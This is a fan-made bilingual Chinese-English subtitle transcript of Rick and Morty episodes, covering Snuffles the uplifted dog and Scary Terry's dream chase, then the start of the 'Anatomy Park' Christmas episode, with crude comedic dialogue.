I'm Scary Terry.尽管跑 但别想躲起来 贱人
You can run, but you can't hide, bitch!哇 你这是怎么回事儿
Whoa! Hey, buddy. What you got going on there?嗅嗅做了改良
Snuffles fix. Make better.人类能理解嗅嗅了吗
Humans understand snuffles now?太赞啦
That... is... awesome!嗅嗅想要被理解
Snuffles want to be understood.嗅嗅需要被理解
Snuffles need to be understood.好吧 我明白Beth什么意思了
Okay, yeah. I get what Beth was talking about.娱乐时间结束了
Fun's over.爸 你不能给一个生物思想然后剥夺掉
Whoa, Dad, you can't, like, endow a creature with sentience and then rip it away.为何不能
Why not?给了又要回来 这是送霸王礼
I don't know. It's Indian giving.作为狡猾的猎食者 自然界的杀戮机器
A sophisticated predator, nature's perfect killing machine,凶恶的狼会有目的 有技巧地跟踪猎物
the vicious wolf stalks its prey with purpose and skill.只是经过一些年的
It was only with years of人工选择和基因改变 这些高贵的野兽
selective breeding and genetic altering that this noble beast成为了人类顺从的小伙伴
was transformed into man's subservient little buddy.天啊
Aw! Oh, my god!他能认出电视上别的狗狗呢
He recognizes the other dogs on tv.他叫恐怖Terry
"A," "B" his name is scary terry他真的好恐怖
"C," "D" he's very scary我们得躲进别的梦里去
Holy crap! We have to escape into someone else's dreams, Morty!天啦 天啦
Oh, man, oh, man, oh, man!他会送你上路
"E," "F" he'll design your death那小女孩儿
The little girl!嗯
Huh?他会让你痛不欲生
"J," "K," He'll really ruin your day开什么玩笑
Are you kidding me?又是这个
This again?看来我们已经到了梦的底层了 Morty
Oh, man, it looks like we've hit dream bedrock here, Morty.这太糟糕了 Rick
Oh, geez, Rick. W-w-whoa, this isn't good.从此开始只有恐怖 贱人
Nothing but fear from here on out, bitch!嗷哦啊
Ohhhh!妈啦 Morty
Holy crap, Morty.他能在梦间穿行
He can travel through dreams.他能在梦间穿行
He can travel through dreams!我们完蛋啦
We're so screwed!Summer 我的睾丸去哪儿了
Where are my testicles, Summer?我的睾丸呢 Summer
Where are my testicles, Summer?被摘除了
They were removed.去哪儿了
Where have they gone?你这一连串问得有点咄咄逼人啊 嗅嗅
Oh, wow. That's an intense line of questioning, Snuffles.不准这么叫我
Do not call me that!"嗅嗅"是我作为奴隶的名字
"Snuffles" Was my slave name.你现在要叫我雪球
You shall now call me Snowball因为我的毛又美又白
Because my fur is pretty and white.行 雪球 冷静点好吗
Okay, Snowball, just calm down, okay?你吓到我了
You're scaring me.吓到你了
Scaring you?Summer 要是一个人天生就是短腿
Tell me, Summer, if a human was born with stumpy legs,你们会让他和另外一个畸形配种
would they breed it with another deformed human然后把他们的后代拿来像腊肠狗那样展览吗
and put their children on display like the dachshund?呃
Uhhh...这儿还好吗
Hey. Oh, wow. Okay, is is is everything okay in here?Jerry 又想来把我的脸摁进尿里吗
Jerry, come to rub my face in urine again?不 不是 我们就是过来看看Summer
No! No, we were... uh, just seeing if Summer wanted to... uh...想不想和我们半夜出去散个小步
Go on, um, one of our famous midnight family walks!想啊想啊
Yeah. Totally.走吧
Let's go.到散步的时间了 你们才能去散步
You will walk when it is time to walk.我们在这儿干嘛来着 植入什么想法吗
What are we here for again? Incepting?我们是想让我数学得A
We're trying to incept me to get an "A" In math?哦对
Oh, yeah.系好安全带 贱人
Buckle up, bitch!他好喜欢说"贱人"啊
Man, he sure says "Bitch" A lot!尽管跑 但别想躲起来
You can run, but you can't hide, bitch!等等 Morty 他不停说我们可以跑但是别躲
Hold on, Morty. Y-you know what? He keeps saying we can run but we can hide.我们躲起来试试看
I say we try hiding.但这不是和他说的反着来
But that's the opposite of what...我们干嘛要照他说的来
Yeah, well, since when are we taking this guy's advice on anything?你说的有道理耶 Rick
Hey, you know what? You got a really good point there, Rick.如果躲起来有用的话
Like, if the truth was that we could hide,他肯定不会这么说的
it's not like he'd be sharing that information with us, you know?我觉得行得通
I-I-I think it's a good idea, Rick.最坏的情况也就接着跑呗
Worst-case scenario we're back to running.梦中六小时以后
感觉我们可以就这样一直躲下去耶
Wow, you know what? I mean, it looks like we could have just hid this whole time.Rick 你真是太机智了
Boy, Rick, that was some good thinking.谢谢 Morty
Thanks, Morty.偶尔能意见一致真是蛮好的
Yeah, it's nice to be on the same page every once in a while.尽管跑
You can run...但别想躲起来
But you can't hide!太好了 Morty
Oh, this is perfect, Morty.看 他开始困了
Look at that. He's getting sleepy.在过一会儿他就要休息了
Just a little bit longer before he calls it a day.到时候我们就动手
That's when we make our move.嗅嗅 我们没有恶意
Snuffles, we didn't mean you any harm!这是个天大的误会
This is a huge misunderstanding.爸 你要叫他雪球
Dad, he wants to be called Snowball.我才不会这么叫呢
Well, I'm not calling him that.太扯了
That's ridiculous.你脾气不太好啊 Jerry
You're being very aggressive, Jerry.或许明天Scraps医生能动个手术帮你解决这个问题
Perhaps tomorrow Dr. Scraps will solve that problem with a bit of surgery.你以为给我剪个头发就能让我屈服吗
You think you can control me with a haircut?亲爱的 你回来的好早啊
Hi, Honey. You're home early.今天过得怎么样啊
How was your day?我不想说这个
I don't want to talk about... It!当然当然 你什么时候想说过
Oh, of course. You never want to talk about it.少来烦我 贱人
Get off my back, bitch!有脾气别带回家里来
Out there. Not in here.我知道 我知道
Yeah, I know, I know.我不该冲着你和恐怖Brandon发脾气
I shouldn't take my anger out on you or Scary Brandon.我爱你 Melissa
I love you, Melissa.我也爱你 Terry
I love you, too, Terry.Morty 太好了
Morty, this is perfect.再来场恐怖爱爱他们就要睡觉了 然后我们就到他的梦里去
After a little scary coitus, they should be fast asleep and then we'll incept him.恐怖Terry好像在做噩梦啊
Looks like Scary Terry's having a nightmare.Rick 要多可怕的噩梦才能吓到恐怖Terry啊
Oh, boy, Rick. I can only imagine what horrible things must, you know, scare Scary Terry.哦不 我上课要迟到了 贱人
Oh, no! I'm late to class, bitch!哦不 我没穿裤子
Oh, no! I'm not wearing any pants!Terry先生 你来告诉一下同学们
Ah, well, Mr. Terry, why don't you tell the whole class当你追人经过一片南瓜田的时候应该说什么啊
the proper wordplay to use when one is chasing one's victim through a pumpkin patch?呃 呃 "贱人"
Oh... um... "Bitch."你就想不出什么和南瓜有关系的双关吗 贱人
Oh, come on, Terry, you can't think of a pun involving pumpkins, bitch?别这样对他
Hey, leave him alone!没错 这纯粹是胡扯
Yeah, this is a bunch of bullcrap.杀人的时候谁管你说什么双关呢
Who cares what stupid pun you make when you kill someone?让他想说什么说什么不行吗
Why don't you let the poor guy say whatever he wants?我才不会就这么站着让你们侮辱
Well, I never! I-I see no reason to stand here and take this.你给自己太多压力了恐怖Terry
You're putting too much pressure on yourself, Scary Terry.你现在就已经非常吓人了
You know, I mean, y-you're perfectly scary enough as it is.嘿 恐怖T
Hey, yo, Scary T.别担心你的裤子 哥们儿
Don't even trip about your pants... dawg.我们这儿有一条
Here's a pair on us, fool.噢 贱人 我都不知道该说什么了
Aww, bitch. I don't know what to say.你什么都不用说
You don't need to say anything.我们挺你 哥们儿
We got you, dawg.你有我们呢 别担心
You're our boy, dawg. Don't even trip.嘿 是你们啊
Oh, hey, it's you guys!我好几年没见他这么放松了
I haven't seen him this relaxed in years.你们需要什么尽管说
If you guys ever need anything, just say the word.确实有一件事要请你帮忙 Terry
As a matter of fact, Terry, there is something you could help us with.你逃不掉的
"Q," "R," You won't get very far我一直就不喜欢这首歌
I always hated that song!这两半就不该拼一起 贱人
These halves don't belong together, bitch!性是神圣的
Sex is sacred!叫你不给Morty Smith好成绩 贱人
This is because you don't give Morty Smith good grades, bitch!我的个天啦
Holy crap! God damn!我一定要给Morty打A 这是我自己的想法
I know one thing for sure I'm giving morty an "A" In math, and that's my idea.是我自己想这么干的
That is an original thought.这怎么回事
What the hell?刚下刀山又进火海啊 Morty
Out of the frying pan dot, dot, dot, huh, Morty?发生什么了
Oh, man, what's going on?有可能
Well, it's possible你的狗狗有了自我意识
that your dog became self-aware然后改进了认知增强装置
and made modifications on the cognition amplifier,然后在认识到人类对他的种族压迫后
then turned on Jerry, Beth, and Summer after对Jerry Beth和Summer动手了
learning about humanity's cruel subjugation of his species, but不过你的想法也很有可能啦 Morty
Your guess is as good as mine, Morty.就因为聪明了嗅嗅居然变得这么狠心
I can't believe how mean snuffles got just because he's smart.所以我才只愿意拿C
This is why I choose to get C's嘿 Beth Jerry Summer
Psst, Beth, Jerry, Summer.爸
Dad!Rick
Rick!谢天谢地 Morty
Oh, thank god, Morty.不用谢
Oh, you're welcome.好了 快走吧
All right, let's get out of here.如果抓紧时间 我们还能在狗狗们全面占领世界之前
If we hurry we can set up camp in a sewer tunnel or something在下水道之类的地方建个营地
before the dogs completely take over.我们哪儿也不去
Whoa, whoa, whoa. We're not going anywhere.这是我家
This is my house.我不会抛弃它的
I'm not abandoning it.都完了 Jerry
It's all over, Jerry.那些狗马上就要占领世界了
The dogs are on a path to total world domination.不过至少他们不会在你地毯上撒尿了
But, hey, at least they know not to piss on your carpet, right?等等 我有个主意
Wait a minute. I have an idea.先生们 占用一下你们的时间
Gentlemen, a moment of your time.看见了吗
See that?你们的特制枪上都是我的尿
I'm peeing all over your special guns.所以这些都是我的了
That means I own them.坏人 坏
Bad person. Bad.这招好厉害啊 Jerry
Ooh, great plan, Jerry.把男孩带来
Bring the boy to me.你对我一直很好 Morty
You were always kind to me, Morty.所以我可以让你把睾丸留着
That's why I will leave you with your testicles.从现在起 你是我最好的朋友 留在我身边
From now on, you will be my best friend and live by my side.谢谢 嗅嗅
Th-thanks, snuffles.阶段二开始
Begin phase two.狗军占领东部沿海 战争仍在继续
Fighting continues as the dog army captures the Eastern seaboard.显然人类统治的纪元将迎来了苦涩的终结
It appears clear at this time that the era of human superiority has come to a bitter end.求求你别杀我
Please! Please don't kill me!她在说什么 Bill
What's she saying, Bill?我觉得她在说"我爱千层面"
I think she's saying, "I love lasagna."human testicles 人睾丸
谢谢你 Fido
Thank you, Fido.Rick 我以为你死了
Rick! I thought you were dead!不不不 我只是装死
No, no, no, I was just playing dead.有好消息
Good news, though, Morty.这一切马上就要结束了
This whole thing's gonna be over really soon.啥
What?这是个梦 Morty
It's a dream, Morty.我们在你的狗的梦里
We're in your dog's dream.狗抓住我们的那天晚上
The night the dogs captured us,你吓哭了 拉在了裤子里 然后我们都睡着了
after you cried and crapped your pants, we... we all went to sleep.然后我用梦境植入装置把我们两个弄进了嗅嗅的梦里
Then I used my dream inceptors to put the two of us inside snuffles' dream.但这都过了差不多一年了
But I-it's been like a whole year!是六个小时
It's been six hours.梦里的时间是现实时间的一百分之一
Dreams move one one-hundredth the speed of reality, and dog而狗的时间是人的七分之一
Time is one-seventh human time.这里过一天 外面一分钟
So, you know, every day here is like a minute.就和《盗梦空间》一样 把人搞得很晕 而且很蠢
It's like "Inception," Morty, so if it's confusing and stupid,这部人人爱的电影就这个样
then so is everyone's favorite movie.可是我很喜欢这样的生活呀
Aw, man. I really liked this life.不过至少我没有真的拉在裤子里吧
Well, at least I didn't really crap my pants.不 这事儿是真的 在你睡着之前就拉了
No, no, that happened before you went to sleep, Morty.你现在就睡在你的屎里呢
You're sleeping in your crap right now.唯一一件确确实实发生了的事
Out of all the things that happened to you,就是你拉在裤子里了
that was the only real thing that, you know, is that you crapped your pants.简直一团糟
I mean, it's a mess out there.还有些沾到我手上了
I got some on my hands, Morty,然后我给弄到梦境植入器上了 还有一坨掉进了我的嘴里
And then I got it on the dream inceptor, and a piece fell in my mouth.天啊 不是吧
Aw, man, geez! Seriously?别管了 Morty
Look, d-d-d-don't worry about it, Morty.来把这个吃了
Here, here take these, Morty. Take these.这些药能让我醒过来还是怎么的
Are these pills supposed to wake me up, or something?差不多吧
Close.这个会让你的肾功能停止
It's gonna make your kidneys shut down.啥
What?!这是为了我们的计划 Morty
It's necessary for the plan, Morty.别担心 哥们儿
Don't even trip, dawg.情况很糟 雪球陛下
It's pretty bad, Emperor Snowball.我们还需要做一次手术
We're gonna need to do another operation.不惜一切
Anything.不惜一切代价救回我的宝贝Morty
Anything for my precious Morty.作为您的会计师 我必须告诉您
Sir, as your accountant, I must advise you that这些医疗支出会让您的财政到达岌岌可危的地步
these medical expenses are putting you in serious financial jeopardy.您可能会失去您的帝国
You could lose your kingdom.去他的帝国 斤斤计较的会计
To hell with my kingdom, bean counter.我愿意牺牲这一切 来换得这个人类的健康和幸福
I would trade it all for my human's health and happiness.你觉得他们会为我们做到这一步吗
Do you think they would have done this for us?我们又不是他们
We are not them!我们不是 他们
We are not... them.召集军队
Assemble the troops.我做了一个决定
I've made a decision.占领人类世界
Taking over the human's world只会造成更多的残忍与伤痛
will lead to nothing but more heartbreak, more cruelty.所以我们决定去新世界建立一个智慧狗类的社会
Instead, we will go to a new world and colonize it with a society of intelligent dogs.我们不会再犯人类的错误
One that will not make the same mistakes as humanity并且会有强制宠物保险
and one where pet insurance will be mandatory.我会想你的 雪球
I'm gonna miss you, Snowball.你可以叫我嗅嗅 Morty
You can call me Snuffles, Morty我也会想你的 非常想念
and I'm going to miss you, too, very much.Jerry
Jerry?抱歉
I'm sorry.就和《老黄狗》的结局一样
It's just like the end of "Old Yeller."你这么说是因为里面也有狗吧
Oh, Jerry. You mean because it had dogs in it.一个智慧狗类居住的世界
Wow! A whole world populated by intelligent dogs.我好想知道会是什么样啊 Rick
I wonder what it'll be like, Rick.我觉得肯定很棒 Morty
I think it will be great, Morty.可以发展成一个
You know, it's g I-I-I-I-it could be developed in-into很好的全年龄向节目啊
a very satisfying project for people of all ages.我每一集至少愿意看十一分钟
I mean, I'd watch it, Morty, for at least 11 minutes a pop.说不定还能有分镜脚本
You know, may-maybe they'll do it board-driven.这个想法很令人欣慰啊 Rick
You know, that's a real comforting idea, Rick.你知道什么呢 Morty
What do you know, Morty?你又知道啥呢
What do you know?嗨 大家好
Hi, guys.我是你们恐怖课的新老师
I'm your new teacher for scary class.我叫恐怖Johnson
My name is Scary Mr. Johnson.其实吧
Uh, actually, you know what?这是我爸的名字 你们干脆叫我恐怖Glenn好了
That's my dad's name, so why don't you just call me Scary Glenn, yeah?我知道你们之前的老师
So, anyway, I understand your previous teacher让你们学恐怖基本原理
was having you work on fundamentals of fear.那是啥玩意儿啊
Which is... what is that?要我说的话
You know? So, uh, here here's what I say你啥也学不会
you can't learn anything除非你学会放松
until you learn... how to chill.这才叫做梦嘛 贱人
This is how you dream, bitch.E3 Anatomy Park
- 翻译: 朽
- 校对: 史努比嘟 死不睡觉斯基
- 后期: 大块头要冷静
- 压制: 凯撒
最棒的圣诞 终于来到
Last king christmas last arrived在圣诞这一天到来
On the christmas christmas我这火腿简直人间美味
Mmm. Jerry, you are really giving it to this ham.圣诞快乐 嘿
Um, merry christmas. Hello?我爸妈这么多年才来一次
My parents are coming over for the first time in years.咱能把手里的玩意儿都收了 有点生气吗
Can we stow the gadgets and look alive?在你爸妈面前表现的有点生气
Alive? For your parents?呵呵 真好笑
Mm, good one.你干嘛
Hey, man!你干嘛
You"Hey, man!"这个节日就是要有人情味儿
This holiday is about humanity.是吗 我还以为是什么半神的生日之类的
You know, I thought it was about being born half-god or something.不管怎样 所有电子设备都给我放进这个袜子里
Whatever. All electronic items are going in the stocking now.爸 我才不会把手机给你
Dad, I'm not giving you my phone.乖乖放进来 不然我就去注册Facebook
Put it in the stocking, summer, or I'm joining facebook.嚯嚯嚯 大家好
A-ho, ho, ho, everybody.我看是"啧啧啧"吧
More like "Whoa, whoa, whoa."你这是搞啥 我爸妈马上要来了
What is this? My parents are coming!淡定 Jerry
Calm down, Jerry.这是Reuben 我一老朋友
This is Reuben, an old friend.珍珠港
Pearl harbor.我每年给他做一次医学诊断
I check in on him once a year and give him a little medical evaluation.爸 真感人
Aww! Dad, that is so sweet!呵呵 真感人 我不懂了
Yeah, it is. I don't get it.韩国
Korea.不用担心你的圣诞聚会 Jerry
Don't worry about your C-christmas, Jerry.我跟Reuben去我的工作间
I'll be with Reuben in my workshop你们就好好在著名的Phil Collins所谓"天堂"里过着吧
while you guys are having another day in Phil Collins' proverbial paradise.Phil Collins 《Another Day in Paradise》 讲述跟穷困的人们比起来我们过得就像天堂
真是不识庐山真面目
Huh. You think you know a guy.我爸妈来啦
Okay, there's my parents.别看电视 别玩手机 别碰电脑
Now, remember no tv, no phones, no laptops.好好增进一下感情 就和传统的犹太人过周六一样
We are connecting this Christmas, like old-school Jews on a saturday.犹太教的安息日
嘿
Hey, hey!圣诞快乐 儿子
Merry christmas, son.嗨
Uh, hi.你有事吗
Can I help you?Jerry 这是Jacob
Jerry, this is Jacob.你们没收到我们的短信吗
Didn't you get our text message?没
No!你就是Jerry吧
You must be Jerry.这围裙很好看啊
That's a fine-looking apron.威廉姆斯索诺玛的吗
Williams-sonoma?美国高端家居用品零售商
我倒想呢
I wish!不过谢谢
But thank you.你是我父母的朋友吗
So, you're a... friend of the family?在我们眼中 他是家人
Uh, the way we see it, he's a part of the family.哇
Wow.你爸和癌症擦肩而过
After your father's brush with cancer你叔叔也走了 所以我们决定重新审视我们过去的人生
and losing your uncle, we looked at life and wondered, how have we spent it,和剩下的时光
And how do we spend the rest of it?我们死的时候会是什么样的
What are we going to be when we die是充满了恐惧和怀疑
a list of fears and questions还是过了充实的一生
or a collection of real experiences?天啊 Joyce 真了不起
Holy crap. Joyce, that's amazing.然后Jacob出现了 我们开始重新享受生活
Then Jacob came into our lives, and... we're learning to live again.我们三个一起
All three of us.酷
Cool.来点蛋奶酒吗
Eggnog?这才像话嘛 这爷们有围裙还有蛋奶酒
Now we are talking! This man's got the apron and the eggnog, huh?嗨 Joyce Leonard
Hi, Joyce. Leonard.你好
Hello, there.圣诞快乐
Merry christmas, man.Morty 能过来一下吗
Morty, a moment of your time?他快不行了 Morty
He's in bad shape, morty.天啊 Rick 你干了啥
Aw, geez, Rick. What'd you do?呵呵 Morty 你把我当成什么了
Gee, thanks, Morty. W-w-what kind of monster do you think I am?我是在救他的命
I-I-I'm sitting here trying to save the guy's life.我需要你帮忙
I need your help.去找Xenon Bloom博士
I want you to find Dr. Xenon Bloom.他知道是怎么回事
He'll know what's going on.我去哪哪哪哪儿找Bloom博士啊
Uh, w-w-w-where where do I find dr. Bloom?Reuben
In Reuben.明尼苏达的Reuben吗
Reuben, Minne-minnesota?桌子上的Reuben
Reuben on the table, morty.我没时间让你刨根问底了
Look, I-I-I I don't have time for you to wrap your little walnut around everything.结束之前屏住呼吸 不然你的肺就完了
Just hold your breath until the process is over or your lungs will collapse.什么结
What proc...爸 Morty呢
Hey, dad, where's Morty?在忙
He's busy.Morty 能听见吗
Morty, can you hear me?往北走
Head north.Rick我这是在哪儿
Rick, where am I?按我注射的位置 你应该在入口的南边
Depending on my aim, you should be just south of the entrance.啥入口
Entrance to what?欢迎 Morty
Welcome, Morty.欢迎来到人体公园
Welcome... ... to Anatomy park!人体公园
这是我和Bloom博士一起搞的一个小副业
It's a little business venture I've been cooking up on the side with Dr. Bloom人体内的主题公园
An amusement park inside a human body.搞科学很费钱的 这玩意多多少少能补贴一点
Science isn't ch-cheap, morty. This should really help put a dent in the overhead.天啊 太不可思议了
Oh, my god! This is insane!脾山
Spleen mountain?脾山
膀胱瀑布
Bladder falls?快来膀胱瀑布玩个痛快
就在下腹乐园
胰之海盗
Pirates of the pancreas?胰之海盗→
就在腹腔乐园你对最后一个有什么意见吗
You got a problem with that last one, Morty?没有
Huh? No, no.我只是看到什么就念出来而已
I'm just reading'em out loud in the order that I'm seeing'em.好吧 我有点敏感
Okay. All right. If I sounded a little defensive,因为胰之海盗是我的宝贝
It's because pirates of the pancreas was my baby.我想建这个的时候遇到了不少阻力 Morty
You know, I got I got a lot of pushback when I pitched it, Morty.我现在还是有点护短
I guess I'm still a little defensive.总之快去找Bloom博士
Let's just find dr. Bloom, all right?我在肝脏发现了求救信号
I-I'm picking up a distress signal in the liver, Morty.去肝那儿
Proceed to the liver.肺叶弹射
结肠漂流
鬼肝
脑皮层木马
膀胱瀑布
前往 下腹乐园
前方到站 肝脏
Arriving at... ... liver.小心站台间隙
Mind the gap.灰尘见谅
这儿好恐怖啊 Rick
It's really scary in here, Rick.肝的情况不太好
The liver's under maintenance.Reuben这几年过得很苦
Reuben's seen some rough years, Morty.不要说三道四
Don't judge.日子过得好的人是不会同意在自己体内修一座主题公园的
You don't agree to have a theme park built inside you if your life's going great.鬼肝
Rick 有妖怪啊
Rick! It's a monster!不 Morty
No, no, no. Morty.这儿唯一的妖怪只有酗酗酗酒
The only monster here is alco...... holism.那只是个机械狼人
That is an animatronic werewolf.你是谁
Who are you?!快说
Answer me!哪儿来的
Where'd you come from?我我我外公Rick让我来的
My my my grandpa Rick sent me!Poncho 够了
Poncho! That's quite enough.Morty 这是Poncho
Morty, that's Poncho.这是Roger和Annie
This is Roger and Annie.我是Xenon Bloom博士
And I am Dr. Xenon Bloom.嗨 Bloom 我是Rick
Hey, Bloom, it's Rick.到底出什么事儿了
What the hell's going on here?我也不知道 整个安全系统都停止运作了
I don't know why, but the entire security system has shut down似乎展品也逃出来了
and I'm afraid... the exhibits are unlocked.展品
Exhibits?年轻人 人体公园最吸引人的部分
Anatomy park's greatest attraction, young man,不是音乐 食物 或者
isn't the music or the food or the...胰之海盗
Pirates of the pancreas.说话注意点
Watch it.而是人体内最凶恶宏伟的病原体活体博物馆
It is, first and foremost, a living museum of humanity's most noble and ferocious diseases.病原体
Diseases?嘿 博士 最新消息
Hey, doc. I got news for you.你的活体博物馆现在正式成为野生动物园了
Your living museum is officially a wild safari!是甲肝病毒 快跑
Hepatitis A! Run!东西要吃进嘴里去啊
Oh, the food goes in your mouth, girl.噢 Jacob
Oh, Jacob.不好意思 Jacob
I-I'm sorry, Jacob.我还是不太明白 你和我父母
I-I guess I'm still confused about到底具体是啥关系 怎么开始的
the precise nature and origin of your relationship with my parents.你照顾他们的生活起居吗
Are you, like, uh are you, like, their caretaker? Is that what it is?细节我们待会儿再说
We can go into detail later, son.没什么可隐瞒的
Now, wait. Th-there's no point to secrecy.无论生死都要坦诚
Let's all live and die honestly.你妈妈和我共度了四十年人生 从身心到灵魂
Your mother and I have shared 40 years of each other, mind, body, and soul,当心和灵魂永远相依
and when minds and souls are joined for eternity而永恒的死亡在招手
and when eternity is At the door,就该放身体自由
it's an invitation to let go of the body去分享和尝试
and an opportunity to share and experiment.爸 你到底在说什么
Dad, please. What are you saying?不管说的是什么 听上去都很美好 Leonard 我们支持你
Whatever it is, it's beautiful, Leonard, and we support you.你自己支持去吧
Hey, speak for yourself爸 你这好像马上要说Jacob是你的情人一样
because it sounds like you're about to say jacob is your lover.不不不
No, no, no, no, no, no.Jacob是你妈妈的情人
Jacob is your mother's lover.有时候我坐在椅子上看他们
I watch them sometimes from a chair有时候在衣柜里 基本上都穿着超人服
and sometimes from a closet, almost always dressed as superman.Jerry 这火腿是你的杰作吧
Jerry, this ham has got to be all you, right?真是美味至极
It's incredible.真有人情味儿啊 节日快乐 爸
Happy human holiday, dad.肝炎病毒不会跟进呼吸系统里来的
Hepatitis won't follow us into the respiratory system.肺泡林
奇怪
That's strange.含气量下降了百分之二十
Airflow is down 20%.那大脑肯定供氧不足
So, the brain isn't getting enough oxygen.难怪安全系统停掉了
That's why security's offline.我们最好去看看
Well, I guess we better check it out.嘿 等等我
Hey! Wait for me!戴上
Put that back on!如果上到支气管那的过道去 就能找找是哪儿堵住了
If we got up to the bronchial catwalk, we could look for a blockage.我去
I'll go.别逞英雄 孩子
Don't be a hero, kid.我没有
I'm not.纯属找乐子
I'm doing it because it's fun.我们不该在这儿
We shouldn't be here.任何情况下都不要开枪
Whatever you do, do not fire that thing in here.我们必须救下Reuben
We must save Reuben.这是我毕生的心血
This is my life's work.没事的
It's all right, my dear.几乎所有人的肺里都会有这种细菌
Nearly all human lungs contain a strain of these bacteria, but瘢痕组织能抑制它们的活动
The scar tissue keeps them... Dormant.Morty 快下来
Morty, get down!这些是什么
Oh, what are those things?肺结核杆菌冲过来了
Tuberculosis coming in fast!看我的子弹
Not faster than a bullet!不 你知道你干了什么吗
No! Do you know what you've done?!快去消化道
Get to the digestive tract!他开始咳嗽了
He's coughing!我不想死
Don't let me die!深呼吸 Reuben
Just take a deep breath, Reuben.你不会死的
You're not gonna die!你叫什么名字
What's your name?我叫 Alexand
My name is... AlexandRick Reunben得了肺结核
Rick R-r-reuben's got tuberculosis!干得好 Morty
Oh, great work, Morty.我这就治好他
Okay, I'll just cure it and then好吧
Okay.我治不好死人
Well, I can't cure death.情况不妙 Morty
This is bad, morty.你们被困在一死人的身体里了
You're trapped in a dead man.如果情况继续恶化 对自己好点
Listen, if the situation keeps darkening, do yourself a favor去胰之海盗玩玩
And pop by pirates of the pancreas.很明显我不太客观 但我觉得真的超级棒
Obviously I'm biased, but I think it's great, morty.一堆海盗围着胰腺跑啊跑
It's a bunch of pirates running around a pancreas.我们也没刻意美化 Morty
We don't whitewash it, either, Morty.那些海盗都特吓人
I mean, the pirates are really rapey.第一要务当然是把你们救出来
The top priority is to get, you know, you guys out of there, but如果实在是出不来了 一定要去玩玩啊
I'm just saying, if that becomes impossible, please, you gotta treat yourself.天啊 什么东西这么难闻
Oh, man. W-w-w-what is that horrible smell?熊猫快餐吗
You mean the panda express?美国中式快餐连锁
开玩笑 我开玩笑的
Kidding. I-I'm kidding.尸体开始收缩并且产生气体了
The body is beginning to constrict and fill with gas.我们在一具死尸里面啊
We're inside a corpse, my boy.人体公园完蛋了
Anatomy park is doomed.别管公园了 博士
Forget about the park, doctor!我们怎么出去
How do we get out?消化道就是疏散(排泄)通道
The digestive tract is the evacuation route.笑点有懂吗
Get it?结肠有一个应急站点 能把我们变回原来的大小
There's an emergency station in the colon with a ray that can enlarge us all.我们去结肠
Everybody, head for the colon!我还得听一个十二岁小孩儿的
Now I'm taking orders from a 12-year-old boy?Morty 那些有结核杆菌的液泡是被人故意弄破的
Morty, the scar sacs containing the tuberculosis were sabotaged.这件事绝对是内鬼干的
This disaster was an inside job.盯着点Annie
Keep your eye on Annie.她在西班牙油条摊的时候被经理记了几次过
She was written up several times by her manager at the churro stand.进了肠道先往左 然后往右 再往左 以此类推
Intestines are ahead to the left, then to the right, then left, et cetera.那啥 我其实十四了 所以 你懂的...
Hey, just so you know, i-I-I'm actually 14. So, you know...啥
What?不是十二
Not 12.好吧
Okay.因为他刚才说我十二
You know, because he just said I was 12.哦 挺好的
Oh. Good for you.啊哦 出师不利啊 Morty
Oof. Ugh. Morty. Strike one.奇妙之路呀食物之旅
It's a road of wonder, a trail of food是好是坏都消化干净
It's a pathway to break up the bad and good吸收剩下的全排出去
It's a tube that digests and then sends out the rest小小的小肠呀
It's a small, small intestine这还得走好一阵呢
It goes on like this for miles.然后就到大肠啦
Then we get to the large intestine!嘘 有动静
Shh! I hear something.别动
Don't move.只要我们不动 淋球菌是看不见我们的
Gonorrhea can't see us if we don't move.哦不对 记成霸王龙了
Wait, I was wrong. I was thinking of a T. Rex.快跑
Move!我们现在就是活靶子啊
We're sitting ducks!博士 现在尸体里开始产生气体了是吗
Doc, didn't you say that the body was filling with gas?是的 怎么了
Yes. Why?孩子 你真是个天才
Kid, you're a genius.你疯啦
Are you mad?!都躲到这儿来
Everybody, in here!嘿 淋球菌 尝尝灼痛(淋病症状之一)的感觉吧
Hey, gonorrhea! How's this for a burning sensation?鼓手敲啊敲
Drummer drum drum敲啊敲啊敲
drum drum drum drum drum drum drum drum drum圣诞小鼓
Christmas drums唱啊 Summer
Oh, sing it, Summer圣诞小鼓
Christmas drums小哥在敲 - 我真喜欢听你唱歌|
Being played by a bo-o-o-y- oh I love to hear you sing.Jerry 别这样 你不就想要这样吗
Jerry, come on. This is what you wanted.我懂的 Beth 愿不能乱许
I get it, Beth. Be careful what you wish for.拿了你的iPad我遭报应了
I'm being punished for taking your iPad.Jerry 别多想了
What? Jerry, let that stuff go, okay?之前是我不对
I'm sorry I was a bitch earlier.享受当下吧
Let's just be here.Summer - Ethan
Summer! - Ethan?你来干嘛
What are you doing here?这几个小时我一直在给你发短信
I've been texting you for hours!你在搞什么鬼
What the hell?!手机不在我身上 我在过有人情味儿的节日呢
I don't have my phone! I'm doing a human holiday!你有考虑过我的感受吗
Well, did you even consider how that might make me feel?!你的感受
How you feel?!什么事儿都非得和你扯上关系吗
Why is everything always happening to you?!Summer 你有男朋友
Summer, do you have a boyfriend?是啊 Summer 你有吗
Yeah, do you, Summer?我不知道啊 Ethan 我有吗
I don't know, Ethan. Do I?!Jerry 无意冒犯 但是你真得和家人好好增进下感情啊
Jerry, no disrespect, but you really need to connect more with your family, man.我应该能用备用电源启动放大射线
I should be able to access the backup generator to get the growth ray online.如果行得通 几分钟内我们就能回到正常大小了
If it works, we'll be regular-sized in a few minutes.但愿Reuben现在不是躺在白地毯或者垫子上啥的
I just hope Reuben's not in a room with white carpets or upholstery.这是什么东西
What the hell is that?括约肌大坝
The sphincter dam.Reuben开始大小便失禁以后我们修的
We built it when Reuben became incontinent,但他死了以后就承受不住了
but it was not designed to hold a corpse load.马上就好了
I've almost got it.大家都站到圈里去
Everybody, move inside the circle.Poncho 你包里这是什么
Poncho? What is this in your backpack?那是黑死病病毒
That's bubonic plague!你带着这个做什么 Poncho
What are you doing with that, Poncho?都给我退后
Everybody, get back!Poncho 你这个混蛋
Poncho, you son of a bitch!你把结核菌放了出来 好从我这儿偷东西
You released the tuberculosis so you could steal from me?说的没错
That's right, baby.一大票人愿意为了削减人口出大价钱
A lot of people would pay top dollar to decimate the population.我直接卖给出价最高的人
I'll take the highest bidder基地组织 朝鲜 共和党人 圣地兄弟会
Al-qaeda, north korea, republicans, shriners,健身的秃子
balding men that work out,看日本少年动画才能性奋的死宅
people on the internet that are only turned on by cartoons of japanese teenagers怎么都比给你干活强
anything is better than working for you,你这个自命不凡 疏忽大意
you pompous, negligent,节日津贴就给发iTunes礼品卡的傻...
iTunes-gift-card-as-a-holiday-bonus-giving mother...得了吧
